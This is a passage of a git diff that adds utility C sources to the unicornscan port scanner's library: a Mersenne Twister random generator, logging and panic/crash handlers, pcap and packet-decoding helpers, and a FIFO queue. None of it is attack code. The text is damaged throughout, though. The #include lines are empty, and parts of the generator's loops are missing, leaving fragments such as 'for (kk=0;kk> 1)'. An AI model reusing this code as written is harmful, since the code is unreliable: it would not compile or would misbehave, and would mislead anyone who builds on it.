RANDOM_DEVICE, strerror(errno)); + seed=(unsigned long )getpid(); + init_genrand(seed); + return; + } + + init_genrand(seed); + + close(fd); + + return; +} + +/* generates a random number on [0,0xffffffff]-interval */ +static unsigned long genrand_int32(void) +{ + unsigned long y; + static unsigned long mag01[2]={0x0UL, MATRIX_A}; + /* mag01[x] = x * MATRIX_A for x=0,1 */ + + if (mti >= N) { /* generate N words at one time */ + int kk; + + if (mti == N+1) /* if init_genrand() has not been called, */ + init_genrand(5489UL); /* a default initial seed is used */ + + for (kk=0;kk> 1) ^ mag01[y & 0x1UL]; + } + for (;kk> 1) ^ mag01[y & 0x1UL]; + } + y = (mt[N-1]&UPPER_MASK)|(mt[0]&LOWER_MASK); + mt[N-1] = mt[M-1] ^ (y >> 1) ^ mag01[y & 0x1UL]; + + mti = 0; + } + + y = mt[mti++]; + + /* Tempering */ + y ^= (y >> 11); + y ^= (y << 7) & 0x9d2c5680UL; + y ^= (y << 15) & 0xefc60000UL; + y ^= (y >> 18); + + return y; +} + +/* added for unicornscan */ +uint32_t genrand_get32(void) { + return (uint32_t) genrand_int32(); +} + +#if 0 + +/* initialize by an array with array-length */ +/* init_key is the array for initializing keys */ +/* key_length is its length */ +/* slight change for C++, 2004/2/26 */ +void init_by_array(unsigned long init_key[], int key_length) +{ + int i, j, k; + init_genrand(19650218UL); + i=1; j=0; + k = (N>key_length ? N : key_length); + for (; k; k--) { + mt[i] = (mt[i] ^ ((mt[i-1] ^ (mt[i-1] >> 30)) * 1664525UL)) + + init_key[j] + j; /* non linear */ + mt[i] &= 0xffffffffUL; /* for WORDSIZE > 32 machines */ + i++; j++; + if (i>=N) { mt[0] = mt[N-1]; i=1; } + if (j>=key_length) j=0; + } + for (k=N-1; k; k--) { + mt[i] = (mt[i] ^ ((mt[i-1] ^ (mt[i-1] >> 30)) * 1566083941UL)) + - i; /* non linear */ + mt[i] &= 0xffffffffUL; /* for WORDSIZE > 32 machines */ + i++; + if (i>=N) { mt[0] = mt[N-1]; i=1; } + } + + mt[0] = 0x80000000UL; /* MSB is 1; assuring non-zero initial array */ +} + +/* generates a random number on [0,0x7fffffff]-interval */ +long genrand_int31(void) +{ + return (long)(genrand_int32()>>1); +} + +/* generates a random number on [0,1]-real-interval */ +double genrand_real1(void) +{ + return genrand_int32()*(1.0/4294967295.0); + /* divided by 2^32-1 */ +} + +/* generates a random number on [0,1)-real-interval */ +double genrand_real2(void) +{ + return genrand_int32()*(1.0/4294967296.0); + /* divided by 2^32 */ +} + +/* generates a random number on (0,1)-real-interval */ +double genrand_real3(void) +{ + return (((double)genrand_int32()) + 0.5)*(1.0/4294967296.0); + /* divided by 2^32 */ +} + +/* generates a random number on [0,1) with 53-bit resolution*/ +double genrand_res53(void) +{ + unsigned long a=genrand_int32()>>5, b=genrand_int32()>>6; + return(a*67108864.0+b)*(1.0/9007199254740992.0); +} +/* These real versions are due to Isaku Wada, 2002/01/09 added */ + +int main(void) +{ + int i; + unsigned long init[4]={0x123, 0x234, 0x345, 0x456}, length=4; + init_by_array(init, length); + printf("1000 outputs of genrand_int32()\n"); + for (i=0; i<1000; i++) { + printf("%10lu ", genrand_int32()); + if (i%5==4) printf("\n"); + } + printf("\n1000 outputs of genrand_real2()\n"); + for (i=0; i<1000; i++) { + printf("%10.8f ", genrand_real2()); + if (i%5==4) printf("\n"); + } + return 0; +} +#endif diff --git a/src/unilib/output.c b/src/unilib/output.c new file mode 100644 index 0000000..d161745 --- /dev/null +++ b/src/unilib/output.c @@ -0,0 +1,89 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include +#include + +void _display(int type, const char *file, int lineno, const char *fmt, ...) { + va_list ap; + FILE *output=NULL; + + output=s->_stdout; + + switch (type) { + case M_INFO: + case M_OUT: + case M_VERB: + break; + + case M_ERR: + output=s->_stderr; + fprintf(output, "%s [Error %s:%d] ", ident_name_ptr, file, lineno); + break; + + case M_DBG: + output=s->_stderr; + fprintf(output, "%s [Debug %s:%d] ", ident_name_ptr, file, lineno); + break; + + default: + output=s->_stderr; + fprintf(output, "%s [Unknown %s:%d] ", ident_name_ptr, file, lineno); + } + + va_start(ap, fmt); + vfprintf(output, fmt, ap); + + fprintf(output, "\n"); + +#ifdef DEBUG_SUPPORT + fflush(output); +#endif + + return; +} + +void hexdump(const uint8_t *in, size_t len) { + const uint8_t *ptr=NULL; + size_t psize=0, hsize=0; + char hbuf[128]; + + INF("## Buffer size is " STFMT " ######################", len); + + for (ptr=in, psize=0; psize < len; psize++, ptr++) { + if (psize != 0 && ((psize % 16) == 0)) { + INF("%-40s", hbuf); + memset(hbuf, 0, sizeof(hbuf)); hsize=0; + } + sprintf(&hbuf[hsize], "\\x%02x", (uint8_t)*ptr); + hsize += 4; + } + + if (strlen(hbuf)) { + INF("%-40s\n###########################################", hbuf); + } + else { + INF("###########################################"); + } + + return; +} diff --git a/src/unilib/output.h b/src/unilib/output.h new file mode 100644 index 0000000..dd482bb --- /dev/null +++ b/src/unilib/output.h @@ -0,0 +1,93 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _OUTPUT_H +# define _OUTPUT_H + +#define M_INFO 0 +#define M_OUT 1 +#define M_ERR 2 +#define M_VERB 3 +#define M_DBG 4 + +void _display(int, const char *, int, const char *, ...) _PRINTF45_; + +#define M_WRK 1 /* workunit */ +#define M_WRKSTR "workunit" +#define M_RTE 2 /* route/arp */ +#define M_RTESTR "route" +#define M_DRN 4 /* drones */ +#define M_DRNSTR "drone" +#define M_MOD 8 /* modules */ +#define M_MODSTR "module" +#define M_SCK 16 /* socket */ +#define M_SCKSTR "socket" +#define M_DNS 32 /* dns stuff */ +#define M_DNSSTR "dns" +#define M_IPC 64 /* ... */ +#define M_IPCSTR "ipc" +#define M_PIO 128 /* poll inout */ +#define M_PIOSTR "poll" +#define M_SND 256 /* send packet */ +#define M_SNDSTR "send" +#define M_CON 512 /* tcp conns */ +#define M_CONSTR "conn" +#define M_CLD 1024 /* forked child */ +#define M_CLDSTR "child" +#define M_PRT 2048 /* port stuff */ +#define M_PRTSTR "port" +#define M_MST 4096 /* master control */ +#define M_MSTSTR "master" +#define M_RPT 8192 /* reporting code */ +#define M_RPTSTR "report" +#define M_PKT 16384 /* packet parsing */ +#define M_PKTSTR "packet" +#define M_CNF 32768 /* configuration */ +#define M_CNFSTR "conf" +#define M_PYL 65536 /* payloads */ +#define M_PYLSTR "payload" +#define M_INT 131072 /* interface stuff */ +#define M_INTSTR "interface" + +#define M_ALL 0x7fffffff + +#define ISDBG(facility) \ + ((s->debugmask & (facility)) == facility) + +#define INF(fmt, args...) \ + _display(M_INFO, __FILE__, __LINE__, fmt, ## args) + +#define OUT(fmt, args...) \ + _display(M_OUT, __FILE__, __LINE__, fmt, ## args) + +#define DBG(facility, fmt, args...) \ + if ((s->debugmask & (facility)) == facility) { \ + _display(M_DBG, __FILE__, __LINE__, (fmt), ## args); \ + } + +#define VRB(lvl, fmt, args...) \ + if (s->verbose > (lvl)) { \ + _display(M_VERB, __FILE__, __LINE__, (fmt), ## args); \ + } + +#define ERR(fmt, args...) \ + _display(M_ERR, __FILE__, __LINE__, fmt, ## args) + +void hexdump(const uint8_t *, size_t ); + +#endif diff --git a/src/unilib/panic.c b/src/unilib/panic.c new file mode 100644 index 0000000..5cf5de2 --- /dev/null +++ b/src/unilib/panic.c @@ -0,0 +1,140 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include +#if defined(WITH_BACKTRACE) && defined(DEBUG_SUPPORT) +#include +#endif +#include + +void panic(const char *func, const char *file, int lineno, const char *msg, ...) { + va_list ap; + char pbuf[2048]; +#if defined(WITH_BACKTRACE) && defined(DEBUG_SUPPORT) + void *array[50]; + int size; +#endif + + va_start(ap, msg); + vsnprintf(pbuf, sizeof(pbuf) -1, msg, ap); + + fprintf(s->_stderr, "%s PANIC IN %s [%s:%d]: %s\n", (ident_name_ptr == NULL ? "Unknown" : ident_name_ptr), func, file, lineno, pbuf); + +#if defined(WITH_BACKTRACE) && defined(DEBUG_SUPPORT) + size=backtrace(array, 50); + fprintf(s->_stderr, "Obtained %d stack frames.\n", size); + /* similar to backtrace_symbols but avoids malloc */ + backtrace_symbols_fd(array, size, fileno(s->_stderr)); +#endif + + abort(); +} + +#ifdef DEBUG_SUPPORT + +#define BSOD_START "\x1b[44;37m" +#define BSOD_TITLE "\x1b[47;34m" +#define BSOD_RESET "\x1b[00m\x0a\x1b[m" + +#define RBEM "\x1b[41;37m\n\nhtaeD fo neercS deR eht si siht\n\n" BSOD_RESET + +#define ERROR_MSG \ +BSOD_START "\n\n" \ + " " BSOD_TITLE "UNICORNSCAN" BSOD_START " \n" \ + "A fatal exception %d:%d has occured at %p in %s (%d)\n" \ + "The current process will be killed.\n\n" \ + " - Press CTRL+C to stop your scan. You will lose any unsaved\n" \ + " information in unicornscan\n" \ + "\n\n" BSOD_RESET + +/* XXX dont use printf ;] */ +void bluescreen(int signo, siginfo_t *si, void *not_used) { +#ifdef WITH_BACKTRACE + void *array[50]; + int size; +#endif + + if (si == NULL) goto really_bad_error; + + switch (si->si_signo) { + case SIGILL: + case SIGSEGV: + case SIGBUS: + case SIGFPE: + if (si->si_addr == NULL) goto really_bad_error; + + fprintf(stderr, ERROR_MSG, si->si_signo, si->si_code, si->si_addr, (ident_name_ptr == NULL ? "Unknown" : ident_name_ptr), si->si_errno); + break; + default: + goto really_bad_error; + } + +#ifdef WITH_BACKTRACE + size=backtrace(array, 50); + fprintf(stderr, "Obtained %d stack frames.\n", size); + /* similar to backtrace_symbols but avoids malloc */ + backtrace_symbols_fd(array, size, 2); +#endif + raise(SIGABRT); + _exit(-1); + +really_bad_error: + + write(2, RBEM, sizeof(RBEM)); + + raise(SIGABRT); + _exit(-1); +} + +void bluescreen_register(void) { + struct sigaction crash, abrt; + + memset(&crash, 0, sizeof(crash)); + memset(&abrt, 0, sizeof(abrt)); + + sigemptyset(&crash.sa_mask); + crash.sa_flags=SA_SIGINFO; + crash.sa_sigaction=&bluescreen; + + if (sigaction(SIGSEGV, &crash, NULL) < 0) { + PANIC("cant register SEGV handler: %s", strerror(errno)); + } + if (sigaction(SIGILL, &crash, NULL) < 0) { + PANIC("cant register ILL handler: %s", strerror(errno)); + } + if (sigaction(SIGFPE, &crash, NULL) < 0) { + PANIC("cant register FPE handler: %s", strerror(errno)); + } + if (sigaction(SIGBUS, &crash, NULL) < 0) { + PANIC("cant register BUS handler: %s", strerror(errno)); + } + + sigemptyset(&abrt.sa_mask); + abrt.sa_handler=SIG_DFL; + if (sigaction(SIGABRT, &abrt, NULL) < 0) { + PANIC("cant register default ABRT handler: %s", strerror(errno)); + } + + return; +} + +#endif diff --git a/src/unilib/panic.h b/src/unilib/panic.h new file mode 100644 index 0000000..9b20e1c --- /dev/null +++ b/src/unilib/panic.h @@ -0,0 +1,28 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _PANIC_H +# define _PANIC_H + +#define PANIC(fmt, args...) panic(__FUNCTION__, __FILE__, __LINE__, fmt, ## args); +void panic(const char *, const char *, int , const char *, ...) _PRINTF45NR_; + +void bluescreen(int , siginfo_t *, void *) _NORETURN_; +void bluescreen_register(void); + +#endif diff --git a/src/unilib/pcaputil.c b/src/unilib/pcaputil.c new file mode 100644 index 0000000..c4139f3 --- /dev/null +++ b/src/unilib/pcaputil.c @@ -0,0 +1,83 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#ifdef HAVE_NET_BPF_H +#include +#include +#else +#include +#endif + +#include + +int util_getheadersize(pcap_t *pdev, char *errorbuf) { + int linktype=0; + + assert(pdev != NULL); assert(errorbuf != NULL); + + switch((linktype=pcap_datalink(pdev))) { + case DLT_NULL: + return 4; +#ifdef DLT_RAW + case DLT_RAW: + return 0; +#endif + case DLT_EN10MB: + return 14; +#ifdef DLT_LOOP /* NetBSD doesnt have this */ + case DLT_LOOP: + return 8; +#endif + case DLT_PPP: + return 4; + case DLT_IEEE802: + return 22; + default: + snprintf(errorbuf, PCAP_ERRBUF_SIZE -1, "Unknown pcap linktype `%d'", linktype); + } + + /* not reached */ + return -1; +} + +#if defined(BIOCIMMEDIATE) +int util_preparepcap(pcap_t *pdev, char *errorbuf) { + int pfd=-1, param=0; + + pfd=pcap_fileno(pdev); + /* if its not a savefile then ioctl it (not always needed) */ + if (pfd) { + param=1; + if (ioctl(pfd, BIOCIMMEDIATE, ¶m) < 0) { + ;/* failure here is not always bad */ + } + } + return 1; +} +#else +int util_preparepcap(pcap_t *pdev, char *errorbuf) { + + if (pdev) errorbuf[0]='\0'; /* for icc */ + return 1; +} +#endif diff --git a/src/unilib/pcaputil.h b/src/unilib/pcaputil.h new file mode 100644 index 0000000..90ac2a2 --- /dev/null +++ b/src/unilib/pcaputil.h @@ -0,0 +1,25 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _PCAPUTIL_H +# define _PCAPUTIL_H + +int util_getheadersize(pcap_t * /* pdev */, char * /* errorbuf pcap size */); +int util_preparepcap (pcap_t * /* pdev */, char * /* errorbuf pcap size */); + +#endif diff --git a/src/unilib/pktutil.c b/src/unilib/pktutil.c new file mode 100644 index 0000000..03bf3b0 --- /dev/null +++ b/src/unilib/pktutil.c @@ -0,0 +1,151 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include + +#include + +#include +#include + +/* + * type -> name mapping functions + * all return pointers to static buffers, carefull + */ + +char *decode_6mac(const uint8_t *mac) { + static char str[32]; + + sprintf(str, "%02x:%02x:%02x:%02x:%02x:%02x", *mac, *(mac + 1), *(mac + 2), *(mac + 3), *(mac + 4), *(mac + 5)); + + return str; +} + +char *str_opcode(uint16_t opcode) { + static char name[32]; + + memset(name, 0, sizeof(name)); + + switch (opcode) { + case ARPOP_REQUEST: + strcat(name, "ARP Request"); break; + case ARPOP_REPLY: + strcat(name, "ARP Reply"); break; + case ARPOP_RREQUEST: + strcat(name, "RARP Request"); break; + case ARPOP_RREPLY: + strcat(name, "RARP Reply"); break; + case ARPOP_INREQUEST: + strcat(name, "InARP Request"); break; + case ARPOP_INREPLY: + strcat(name, "InARP Request"); break; + case ARPOP_NAK: + strcat(name, "ARM ARP NAK"); break; + default: + sprintf(name, "Unknown [%u]", opcode); break; + } + return name; +} + +char *str_hwtype(uint16_t hw_type) { + static char name[32]; + + memset(name, 0, sizeof(name)); + + switch (hw_type) { + case ARPHRD_ETHER: + strcat(name, "10/100 Ethernet"); break; + case ARPHRD_NETROM: + strcat(name, "NET/ROM pseudo"); break; + case ARPHRD_EETHER: + strcat(name, "Exp Ethernet"); break; + case ARPHRD_AX25: + strcat(name, "AX.25 Level 2"); break; + case ARPHRD_PRONET: + strcat(name, "PROnet token ring"); break; + case ARPHRD_CHAOS: + strcat(name, "ChaosNET"); break; + case ARPHRD_IEEE802: + strcat(name, "IEE 802.2 Ethernet"); break; + case ARPHRD_ARCNET: + strcat(name, "ARCnet"); break; + case ARPHRD_APPLETLK: + strcat(name, "APPLEtalk"); break; + case ARPHRD_DLCI: + strcat(name, "Frame Relay DLCI"); break; + case ARPHRD_ATM: + strcat(name, "ATM"); break; + case ARPHRD_METRICOM: + strcat(name, "Metricom STRIP"); break; + default: + sprintf(name, "NON-ARP? Unknown [%u]", hw_type); break; + } + return name; +} + +char *str_hwproto(uint16_t proto) { + static char name[32]; + + memset(name, 0, sizeof(name)); + + switch (proto) { + case 8: + strcat(name, "Ether Arp IP"); break; + default: + sprintf(name, "Unknown [%u]", proto); break; + } + + return name; +} + +char *str_ipproto(uint8_t proto) { + static char name[32]; + + memset(name, 0, sizeof(name)); + + switch (proto) { + case IPPROTO_TCP: + strcat(name, "IP->TCP"); break; + case IPPROTO_UDP: + strcat(name, "IP->UDP"); break; + case IPPROTO_ICMP: + strcat(name, "IP->ICMP"); break; + default: + sprintf(name, "Unknown [%02x]", proto); break; + } + return name; +} + +char *strtcpflgs(int flags) { + static char tcphdrflags[16]; + + memset(tcphdrflags, '-', 8); + if (flags & TH_FIN) tcphdrflags[0]='F'; + if (flags & TH_SYN) tcphdrflags[1]='S'; + if (flags & TH_RST) tcphdrflags[2]='R'; + if (flags & TH_PSH) tcphdrflags[3]='P'; + if (flags & TH_ACK) tcphdrflags[4]='A'; + if (flags & TH_URG) tcphdrflags[5]='U'; + if (flags & TH_ECE) tcphdrflags[6]='E'; + if (flags & TH_CWR) tcphdrflags[7]='C'; + tcphdrflags[8]='\0'; + + return tcphdrflags; +} diff --git a/src/unilib/pktutil.h b/src/unilib/pktutil.h new file mode 100644 index 0000000..1424e0c --- /dev/null +++ b/src/unilib/pktutil.h @@ -0,0 +1,29 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#ifndef _PKTUTIL_H +# define _PKTUTIL_H + +char *decode_6mac(const uint8_t * /* macptr */); +char *str_hwtype (uint16_t /* hw type */); /* return a pointer to a static string associated with the hw type */ +char *str_opcode (uint16_t /* arp opcode */); /* same as above but for arp opcode */ +char *str_hwproto(uint16_t /* arp proto */); /* same as above but for proto */ +char *str_ipproto(uint8_t /* ip proto */); +char *strtcpflgs(int /* tcp flags */); + +#endif diff --git a/src/unilib/prng.h b/src/unilib/prng.h new file mode 100644 index 0000000..7bac922 --- /dev/null +++ b/src/unilib/prng.h @@ -0,0 +1,10 @@ +#ifndef _PRNG_H +# define _PRNG_H + +#define prng_init genrand_init +#define prng_get32 genrand_get32 + +void genrand_init(void); +uint32_t genrand_get32(void); + +#endif diff --git a/src/unilib/qfifo.c b/src/unilib/qfifo.c new file mode 100644 index 0000000..7de1a2c --- /dev/null +++ b/src/unilib/qfifo.c @@ -0,0 +1,392 @@ +/********************************************************************** + * Copyright (C) 2004-2006 (Jack Louis) * + * * + * This program is free software; you can redistribute it and/or * + * modify it under the terms of the GNU General Public License * + * as published by the Free Software Foundation; either * + * version 2 of the License, or (at your option) any later * + * version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, write to the Free Software * + * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. * + **********************************************************************/ +#include + +#include +#include + +#define QFIFOMAGIC 0xdeafbabe +#define MALLOC(x) xmalloc(x) +#define FREE(x) xfree(x) + +/* q cause its cute, even though c != q */ + +typedef struct qnode_t { + struct qnode_t *last; + struct qnode_t *next; + void *bucket; +} qnode_t; + +typedef enum { pfifo, plifo } personality_t; + +typedef struct qfifo_t { + uint32_t magic; + personality_t pers; + qnode_t *top; + qnode_t *bottom; + uint32_t len; +} qfifo_t; + +/* INTERNAL PROTOTYPES */ +static void *_qfifo_init(personality_t ); + +/* FUNCTIONS */ +void *fifo_init(void) { + return _qfifo_init(pfifo); +} +void *lifo_init(void) { + return _qfifo_init(plifo); +} + +static void *_qfifo_init(personality_t type) { + union { + void *ptr; + qfifo_t *fifo; + } f_u; + + f_u.ptr=MALLOC(sizeof(qfifo_t)); + + f_u.fifo->magic=QFIFOMAGIC; + f_u.fifo->pers=type; + f_u.fifo->top=NULL; + f_u.fifo->bottom=NULL; + f_u.fifo->len=0; + return f_u.ptr; +} + +void fifo_destroy(void *fifo) { + union { + void *ptr; + qfifo_t *fifo; + } f_u; + + assert(fifo != NULL); + + f_u.ptr=fifo; + + assert(f_u.fifo->magic == QFIFOMAGIC); + + if (f_u.fifo->len == 0) { + FREE(f_u.ptr); + } + else { + PANIC("attempt to destroy non-empty %s", f_u.fifo->pers == pfifo ? "fifo" : "lifo"); + } + return; +} + +uint32_t fifo_length(void *fifo) { + union { + void *ptr; + qfifo_t *fifo; + } f_u; + + assert(fifo != NULL); + + f_u.ptr=fifo; + + assert(f_u.fifo->magic == QFIFOMAGIC); + + return f_u.fifo->len; +} + +/* + * Function: fifo_push O(1) + * we always add to the top. dont ask why. i dont know. i guess any normal person would have put it at the bottom, + * but thats just what they would expect me to do. + */ +uint32_t fifo_push(void *fifo, void *water) { + union { + void *ptr; + qfifo_t *fifo; + } f_u; + qnode_t *qnew=NULL; + + assert(fifo != NULL); + assert(water != NULL); + + f_u.ptr=fifo; + + assert(f_u.fifo->magic == QFIFOMAGIC); + + qnew=(qnode_t *)MALLOC(sizeof(qnode_t)); + qnew->bucket=water; + + if (f_u.fifo->top == NULL) { /* The fifo is empty. */ + assert(f_u.fifo->bottom == NULL); + f_u.fifo->top=qnew; + f_u.fifo->bottom=qnew; + qnew->last=NULL; + } + else { + assert(f_u.fifo->top->next == NULL); + f_u.fifo->top->next=qnew; + qnew->last=f_u.fifo->top; + f_u.fifo->top=qnew; + } + qnew->next=NULL; /* nothing on top of this node */ + + return ++f_u.fifo->len; +} + +/* + * Function: fifo_pop O(1) + */ +void *fifo_pop(void *fifo) { + union { + void *ptr; + qfifo_t *fifo; + } f_u; + void *data=NULL; /* the data we return */ + qnode_t *node=NULL; /* could be top or bottom depending on personality */ + + assert(fifo != NULL); + f_u.ptr=fifo; + + assert(f_u.fifo->magic == QFIFOMAGIC); + + if (f_u.fifo->len == 0) { + return NULL; /* well that was easy */ + } + + if (f_u.fifo->len == 1) { + if (f_u.fifo->top != f_u.fifo->bottom) { + PANIC("fifo top and bottom pointers should be the same for a 1 length fifo"); + } + node=f_u.fifo->top; + f_u.fifo->top=NULL; + f_u.fifo->bottom=NULL; + } + else if (f_u.fifo->pers == pfifo) { + /* + * first in first out so remove from the bottom where old data is + */ + if (f_u.fifo->bottom == NULL) { + PANIC("fifo->bottom is NULL on pop"); + } + node=f_u.fifo->bottom; + /* the new bottom is one higher */ + f_u.fifo->bottom=f_u.fifo->bottom->next; + f_u.fifo->bottom->last=NULL; + } + else { /* its a lifo then, remove from the top where new data is */ + if (f_u.fifo->top == NULL) { + PANIC("fifo->top is NULL on pop"); + } + node=f_u.fifo->top; + /* the new top is one lower */ + f_u.fifo->top=f_u.fifo->top->last; + f_u.fifo->top->next=NULL; + } + data=node->bucket; + --f_u.fifo->len; + + FREE(node); + + return data; +} +/* + * Function: fifo_walk O(n) + */ +void fifo_walk(void *fifo, void (*walk_func)(void *)) { + union { + void *ptr; + qfifo_t *fifo; + } f_u; + qnode_t *walk=NULL; /* could be top or bottom depending on personality */ + + assert(fifo != NULL); + assert(walk_func != NULL); + + f_u.ptr=fifo; + + assert(f_u.fifo->magic == QFIFOMAGIC); + + if (f_u.fifo->len == 0) { + return; /* well that was easy */ + } + + if (f_u.fifo->top == NULL) { + PANIC("fifo pointers broken in fifo_walk"); + } + + for (walk=f_u.fifo->bottom; walk != NULL; walk=walk->next) { + walk_func(walk->bucket); + } + + return; +} + +/* Function: fifo_delete_first O(n) + * XXX this doesnt obey fifo/lifo search ordering + * This function traces through the fifo and removes the first node which matches the data structure + * pointed to by water. returns length of fifo after delete. + */ +uint32_t fifo_delete_first(void *fifo, const void *water, int (*compare)(const void *, const void *), int freedata) { + union { + void *ptr; + qfifo_t *fifo; + } f_u; + qnode_t *cur=NULL, *next=NULL; + + assert(fifo != NULL); + assert(water != NULL); + f_u.ptr=fifo; + + assert(f_u.fifo->magic == QFIFOMAGIC); + + if (f_u.fifo->len == 0) { + return 0; + } + + assert(f_u.fifo->bottom != NULL && f_u.fifo->bottom->bucket != NULL); + cur=f_u.fifo->bottom; + + if (f_u.fifo->len == 1) { + if (compare((const void *)cur->bucket, water) == 0) { + if (freedata) FREE(cur->bucket); /* The only node in the fifo is a match so empty it. */ + FREE(cur); + f_u.fifo->top=NULL; + f_u.fifo->bottom=NULL; + --f_u.fifo->len; + } + return f_u.fifo->len; + } + + for ( ; cur != NULL; cur=cur->next) { + if (compare((const void *)cur->bucket, water) == 0) { + qnode_t *node=NULL; + void *data=NULL; + + node=cur; + data=cur->bucket; + if (cur == f_u.fifo->top) { /* The last node in the fifo matches. */ + f_u.fifo->top=cur->last; + f_u.fifo->top->next=NULL; + } + else if (cur == f_u.fifo->bottom) { /* The first node in the fifo matches. */ + f_u.fifo->bottom=cur->next; + f_u.fifo->bottom->last=NULL; + } + else { /* remove from list */ + next=cur->next; + cur=cur->last; + cur->next=next; + next->last=cur; + } + FREE(node); + if (freedata) FREE(data); + return --f_u.fifo->len; + } + } + + return f_u.fifo->len; +} + +/* Function: fifo_find O(n) + * This function searches for the first node in the fifo which matches the structure pointed + * to by water and returns a pointer to this node. A NULL pointer is returned if there is no + * match. + */ +void *fifo_find(void *fifo, const void *water, int (*compare)(const void *, const void *)) { + union { + void *ptr; + qfifo_t *fifo; + } f_u; + qnode_t *cur=NULL; + + assert(fifo != NULL); + assert(water != NULL); + + f_u.ptr=fifo; + + assert(f_u.fifo->magic == QFIFOMAGIC); + + if (f_u.fifo->len == 0) { + return NULL; + } + + assert(f_u.fifo->bottom != NULL && f_u.fifo->bottom->bucket != NULL); + cur=f_u.fifo->bottom; + + if (f_u.fifo->len == 1) { + if (compare((const void *)cur->bucket, water) == 0) { + return cur->bucket; + } + return NULL; + } + + for (; cur != NULL; cur=cur->next) { + if (compare((const void *)cur->bucket, water) == 0) { + return cur->bucket; + } + } + return NULL; +} + + +/* + * Function: order_fifo (JZ) + * + * JL: voidify + 